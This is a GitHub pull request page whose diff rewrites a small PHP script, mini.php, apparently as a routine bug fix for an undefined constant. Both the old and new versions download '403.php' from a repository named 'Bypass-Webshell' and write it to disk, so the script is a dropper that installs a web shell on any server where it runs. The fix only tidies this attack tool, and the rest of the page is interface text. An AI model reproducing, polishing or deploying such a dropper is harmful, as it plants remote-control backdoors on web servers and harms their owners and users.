Skip to content

Fix undefined constant in mini.php #3

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 15 additions & 4 deletions mini.php
Original file line number Diff line number Diff line change
@@ -1,6 +1,17 @@
<?php
$encodedUrl = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/403.php';
$encodedContent = file_get_contents($encodedUrl);
$decodedContent = base64_encode($encodedContent);
if(file_put_contents('mini.php' ,base64_decode($decodedContent))){echo "File : mini.php Success !";}else{echo error;}
// Download 403.php from GitHub and write it to mini.php.
// The original version attempted to echo an undefined constant
// on failure which caused a PHP notice. It also used confusing
// variable names. This version clarifies the logic and properly
// prints an error message.

$remoteUrl = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/403.php';
$remoteContent = file_get_contents($remoteUrl);
$encodedContent = base64_encode($remoteContent);

if (file_put_contents('mini.php', base64_decode($encodedContent))) {
echo "File : mini.php Success !";
} else {
echo "Error";
}
?>